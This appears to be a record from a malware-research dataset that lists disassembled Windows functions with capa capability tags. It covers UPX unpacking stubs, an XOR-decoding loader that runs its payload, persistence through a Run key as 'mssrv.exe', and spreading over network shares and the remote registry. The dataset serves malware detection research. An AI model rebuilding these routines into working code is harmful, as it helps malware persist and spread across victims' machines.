joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007cac
Capabilities:
Read file on windows

Disassembly:
push ecx
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
push edi
push 2
push 0xffffffffffffffff
push 0xffffffffffffffea
push ebp
call fcn.10022368
mov ebx, edx
add esp, 0x10
mov esi, eax
test ebx, ebx
jl 0x10007e1f
jg 0x10007cdb
test esi, esi
jb 0x10007e1f
mov edi, dword [esp + 0x20]
push 0x16
push edi
push ebp
call fcn.10017328
add esp, 0xc
test eax, eax
js 0x10007e1f
movzx ecx, byte [edi + 3]
movzx eax, byte [edi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi + 1]
shl ecx, 8
or ecx, eax
movzx eax, byte [edi]
shl ecx, 8
or ecx, eax
cmp ecx, 0x6054b50
jne 0x10007d3d
push edi
call fcn.1000822e
pop ecx
test eax, eax
je 0x10007d34
push ebx
push esi
push edi
push ebp
call fcn.10022368
add esp, 0x10
mov esi, eax
mov ebx, edx
mov eax, esi
mov edx, ebx
jmp 0x10007e24
push 2
xor ebx, ebx
push ebx
push ebx
push ebp
call fcn.10022368
mov ebp, eax
add esp, 0x10
mov eax, edx
mov dword [esp + 0x14], eax
cmp eax, ebx
jl 0x10007e1f
jg 0x10007d66
cmp ebp, ebx
jb 0x10007e1f
mov ecx, 0x10015
cmp eax, ebx
jg 0x10007d7b
jl 0x10007d75
cmp ebp, ecx
jae 0x10007d7b
mov esi, ebp
mov ecx, eax
jmp 0x10007d7f
mov esi, ecx
mov ecx, ebx
mov eax, esi
neg eax
push 2
adc ecx, ebx
neg ecx
push ecx
push eax
push dword [esp + 0x28]
call fcn.10022368
add esp, 0x10
cmp edx, ebx
jl 0x10007e1f
jg 0x10007da5
cmp eax, ebx
jb 0x10007e1f
push 0x10015
call fcn.10022368
mov ebx, eax
pop ecx
test ebx, ebx
je 0x10007e1f
push esi
push ebx
push dword [esp + 0x24]
call fcn.10017328
add esp, 0xc
mov dword [esp + 0x10], eax
test eax, eax
js 0x10007e18
lea edx, [ebx + eax]
lea esi, [edx - 0x16]
jmp 0x10007e14
cmp byte [esi], 0x50
jne 0x10007e13
movzx ecx, byte [esi + 3]
movzx eax, byte [esi + 2]
shl ecx, 8
or ecx, eax
movzx eax, byte [esi + 1]
shl ecx, 8
or ecx, eax
shl ecx, 8
or ecx, 0x50
cmp ecx, 0x6054b50
jne 0x10007e13
movzx ecx, byte [esi + 0x15]
movzx eax, byte [esi + 0x14]
shl ecx, 8
or ecx, eax
lea eax, [esi + 0x16]
add eax, ecx
cmp eax, edx
je 0x10007e2b
dec esi
cmp esi, ebx
jae 0x10007dd4
push ebx
call fcn.10022368
pop ecx
or eax, 0xffffffff
or edx, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret
push 0x16
push esi
push edi
call fcn.1000a190
push ebx
call fcn.10022368
mov eax, dword [esp + 0x20]
add eax, ebx
sub eax, esi
mov esi, dword [esp + 0x24]
cdq
sub ebp, eax
push edi
sbb esi, edx
call fcn.1000822e
add esp, 0x14
test eax, eax
je 0x10007e6b
push esi
push ebp
push edi
push dword [esp + 0x28]
call fcn.10022368
add esp, 0x10
mov ebp, eax
mov esi, edx
mov eax, ebp
mov edx, esi
jmp 0x10007e24
Function at 0x10022368
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10022377
pop dword [ebp - 0x2c]
mov eax, 0x10022377
sub dword [ebp - 0x2c], eax
mov dword [ebp - 0x3c], 0x34627fef
add dword [ebp - 0x3c], 0x19efc55c
mov dword [ebp - 0x38], 0xcb404f39
add dword [ebp - 0x38], 0x66f2fd0c
mov dword [ebp - 0x34], 0x8db3b6e8
add dword [ebp - 0x34], 0xbe988d46
mov dword [ebp - 0x30], 0x24292588
sub dword [ebp - 0x30], 0x24292588
lea eax, [ebp - 0x3c]
push eax
mov eax, 0x1861b6a9
add eax, 0xf7a099a7
add eax, dword [ebp - 0x2c]
call dword [eax]
mov dword [ebp - 0x3c], 0x4b04adfd
sub dword [ebp - 0x3c], 0xd69244a7
mov dword [ebp - 0x38], 0xf65ded
add dword [ebp - 0x38], 0x40760388
mov dword [ebp - 0x34], 0xc47dea86
add dword [ebp - 0x34], 0x9ef181e6
mov dword [ebp - 0x30], 0x2dc8c00
sub dword [ebp - 0x30], 0x2dc8c00
lea ebx, [ebp - 0x3c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3dbc8
push 0
call eax
mov ecx, 0x633b1371
sub ecx, 0x633acb57
xor esi, esi
add esi, eax
mov edi, 0x7e615f83
add edi, 0x91a1fa7d
add edi, dword [ebp - 0x2c]
mov ebx, 0xc2e0b2ba
sub dword [ebp - 8], edx
mov edx, dword [edi]
sub dword [ebp - 0x14], 0x2aa7047e
add edx, ebx
sub dword [ebp - 0x28], 0x71318079
mov dword [esi], edx
xor dword [ebp - 8], 0x54ec087d
add esi, 4
add edi, 0x9aa97b95
sub edi, 0x9aa97b91
loop 0x1002248b
add eax, 0xd41b4bba
add eax, 0x2be5c781
mov ebx, eax
add eax, 0x31ca7666
sub eax, 0x31ca7661
mov ecx, 0xc5c45b0c
sub ecx, 0xb5c45b0c
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x40e400
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x40e422
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40e429
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40e418
mov eax, 1
add ebx, ebx
jne 0x40e43b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40e430
jne 0x40e44c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e430
xor ecx, ecx
sub eax, 3
jb 0x40e460
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40e4d2
mov ebp, eax
add ebx, ebx
jne 0x40e46b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40e478
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40e49c
inc ecx
add ebx, ebx
jne 0x40e488
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40e47d
jne 0x40e499
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e47d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40e4bc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40e4ad
jmp 0x40e41e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40e4bc
add edi, ecx
jmp 0x40e41e
pop esi
mov edi, esi
mov ecx, 0x156
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40e4da
cmp byte [edi], 5
jne 0x40e4da
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40e4df
lea edi, [esi + 0xc000]
mov eax, dword [edi]
or eax, eax
je 0x40e54e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe064]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40e50c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe068]
or eax, eax
je 0x40e548
mov dword [ebx], eax
add ebx, 4
jmp 0x40e529
call dword [esi + 0xe06c]
popal
jmp 0x401936
Function at 0x40e4f0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x408015
lea edi, [esi - 0x7015]
push edi
jmp 0x40e50a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40e511
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40e500
mov eax, 1
add ebx, ebx
jne 0x40e523
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40e518
jne 0x40e534
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e518
xor ecx, ecx
sub eax, 3
jb 0x40e548
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40e5ba
mov ebp, eax
add ebx, ebx
jne 0x40e553
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40e560
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40e584
inc ecx
add ebx, ebx
jne 0x40e570
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40e565
jne 0x40e581
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40e565
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40e5a4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40e595
jmp 0x40e506
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40e5a4
add edi, ecx
jmp 0x40e506
pop esi
mov edi, esi
mov ecx, 0x55
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40e5c2
cmp byte [edi], 0
jne 0x40e5c2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x40e5c7
lea edi, [esi + 0xc000]
mov eax, dword [edi]
or eax, eax
je 0x40e636
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe8ac]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe938]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40e5f4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe93c]
or eax, eax
je 0x40e630
mov dword [ebx], eax
add ebx, 4
jmp 0x40e611
call dword [esi + 0xe94c]
mov ebp, dword [esi + 0xe940]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x40e66a
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x4282a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x17000]
push edi
jmp 0x4282ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4282c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4282b0
mov eax, 1
add ebx, ebx
jne 0x4282d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4282c8
jne 0x4282e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4282c8
xor ecx, ecx
sub eax, 3
jb 0x4282f8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42836a
mov ebp, eax
add ebx, ebx
jne 0x428303
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x428310
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x428334
inc ecx
add ebx, ebx
jne 0x428320
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x428315
jne 0x428331
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x428315
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x428354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x428345
jmp 0x4282b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x428354
add edi, ecx
jmp 0x4282b6
pop esi
mov edi, esi
mov ecx, 0x115
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x428372
cmp byte [edi], 3
jne 0x428372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x428377
lea edi, [esi + 0x26000]
mov eax, dword [edi]
or eax, eax
je 0x4283e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x28000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x280c4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4283a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x280cc]
or eax, eax
je 0x4283e0
mov dword [ebx], eax
add ebx, 4
jmp 0x4283c1
call dword [esi + 0x280c8]
mov ebp, dword [esi + 0x280d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ef]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42841a
sub esp, 0xffffff80
jmp 0x409ac0

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d7a
nop
sub eax, 0x403d20
nop
nop
nop
nop
nop
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp int.00401219
Function at 0x10109a10
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10109bf4
pushal
mov esi, section.UPX1
lea edi, [esi - 0xba000]
push edi
or ebp, 0xffffffff
jmp 0x10109a3a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10109a41
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10109a30
mov eax, 1
add ebx, ebx
jne 0x10109a53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10109a64
jne 0x10109a83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10109a83
dec eax
add ebx, ebx
jne 0x10109a70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x10109a48
add ebx, ebx
jne 0x10109a7f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x10109ad5
xor ecx, ecx
sub eax, 3
jb 0x10109a9b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x10109b0a
sar eax, 1
mov ebp, eax
jmp 0x10109aa6
add ebx, ebx
jne 0x10109aa6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10109a74
inc ecx
add ebx, ebx
jne 0x10109ab4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10109a74
add ebx, ebx
jne 0x10109ac1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10109ab6
jne 0x10109ad2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10109ab6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10109af4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10109ae6
jmp 0x10109a36
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10109af4
add edi, ecx
jmp 0x10109a36
pop esi
mov edi, esi
mov ecx, 0xcdb
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x10109b12
cmp byte [edi], 5
jne 0x10109b12
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x10109b17
lea edi, [esi + 0x105000]
mov eax, dword [edi]
or eax, eax
je 0x10109b86
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x109000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x109140]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10109b44
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x109144]
or eax, eax
je 0x10109b80
mov dword [ebx], eax
add ebx, 4
jmp 0x10109b61
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10109bb7
cmp al, 0xef
ja 0x10109baa
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10109b8c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10109b99
mov ebp, dword [esi + 0x109148]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10109beb
sub esp, 0xffffff80
jmp 0x1004a260
Function at 0x401080
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
push esi
push edi
lea edi, [ebp - 3]
mov esi, section..rdata
nop
push 3
nop
pop ecx
rep movsb byte es:[edi], byte [esi]
xor ebx, ebx
push ebx
pop eax
movsx eax, al
add eax, 0x41
mov byte [ebp - 3], al
lea eax, [ebp - 3]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov dword [ebp + ebx*4 - 0x6c], eax
add ebx, 1
cmp ebx, 0x1a
jl 0x40109a
mov edi, dword [ebp + 8]
lea esi, [ebp - 0x6c]
mov ecx, 0x1a
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
push ebp
pop esp
pop ebp
ret

Function at 0x4010d0
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
nop
nop
push 0x3f
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
push 0x3f
pop ecx
nop
nop
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
nop
push 2
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
pushfd
xor ecx, ecx
inc ecx
popfd
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0x209]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011e4
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xff]
push eax
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
or eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
test eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pushfd
xor eax, eax
inc eax
popfd
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
push ebp
pop esp
pop ebp
ret
Function at 0x401200
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
lea edi, [ebp - 0x32]
mov esi, 0x40c214
nop
push 0xb
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
mov esi, 0x40c242
pushal
popal
push 8
pop ecx
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push 2
push 0
lea eax, [ebp - 0x32]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
or eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3a]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
pop eax
push edi
pop edi
pop edi
pop esi
push ebp
pop esp
pop ebp
ret

Function at 0x401290
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
sub eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
push 1
nop
pop eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401340
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
call fcn.004010d0
cmp eax, 1
je 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mssrv.exe
lea eax, [ebp - 0xff]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0xff]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
test eax, eax
jne 0x4013a4
push 0xff
lea eax, [ebp - 0xff]
push eax
call fcn.00401200
add esp, 8
push ebp
pop esp
pop ebp
ret
Function at 0x4013b0
Capabilities:
Connect network resource

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x39c
push ebx
push esi
push edi
sub ebx, ebx
lea edi, [ebp - 0x74]
mov esi, 0x40c280
nop
push 0x1d
nop
pop ecx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x39c], eax
lea ecx, [ebp - 0x193]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013e1
pop eax
lea ecx, [ebp - 0x292]
mov eax, dword [ebp - 0x39c]
mov edx, eax
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4013ff
pop eax
lea eax, [ebp - 0x292]
push eax
call fcn.00401cf0
pop ecx
mov dword [ebp - 0x94], 2
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x8c], 3
mov dword [ebp - 0x88], 1
mov dword [ebp - 0x84], 0
lea eax, [ebp - 0x193]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
push 0
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebp + 0x14]
push eax
lea eax, [ebp - 0x94]
push eax
call sub.MPR.dll_WNetAddConnection2A
mov dword [ebp - 0x398], eax
jmp 0x401483
add ebx, 1
mov eax, dword [ebp + ebx*4 - 0x74]
or eax, eax
jne 0x401480
push ebx
push 0
call fcn.00401c90
add esp, 8
lea ecx, [ebp - 0x391]
mov edx, dword [ebp + eax*4 - 0x74]
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x4014a3
pop eax
push 0x40c33c
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
lea eax, [ebp - 0x391]
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.00403780
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.00401d90
add esp, 8
or eax, eax
jne 0x401511
lea eax, [ebp - 0x292]
push eax
push 4
mov eax, dword [ebp + 8]
push eax
call fcn.00401290
add esp, 0xc
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
sub eax, eax
jmp 0x401526
push 1
push 1
lea eax, [ebp - 0x193]
push eax
call sub.MPR.dll_WNetCancelConnection2A
pushfd
xor eax, eax
inc eax
popfd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401530
Capabilities:
Get hostname

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x104
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x104], 0xff
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0xff]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov ecx, ebx
mov edx, 0x40c339
push ecx
sub ecx, edx
mov al, byte [edx]
mov byte [ecx + edx], al
add edx, 1
test al, al
jne 0x401565
pop eax
lea eax, [ebp - 0xff]
push eax
push ebx
call fcn.00403780
add esp, 8
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
call fcn.00401cb0
cmp eax, 4
jb 0x401c86
push 0
call fcn.00404760
pop ecx
push eax
call fcn.004047b0
pop ecx
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4027b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x4026b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [ebp - 0x10]
push eax
push 0
push 0
push 0x402830
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00402430
call fcn.00403680
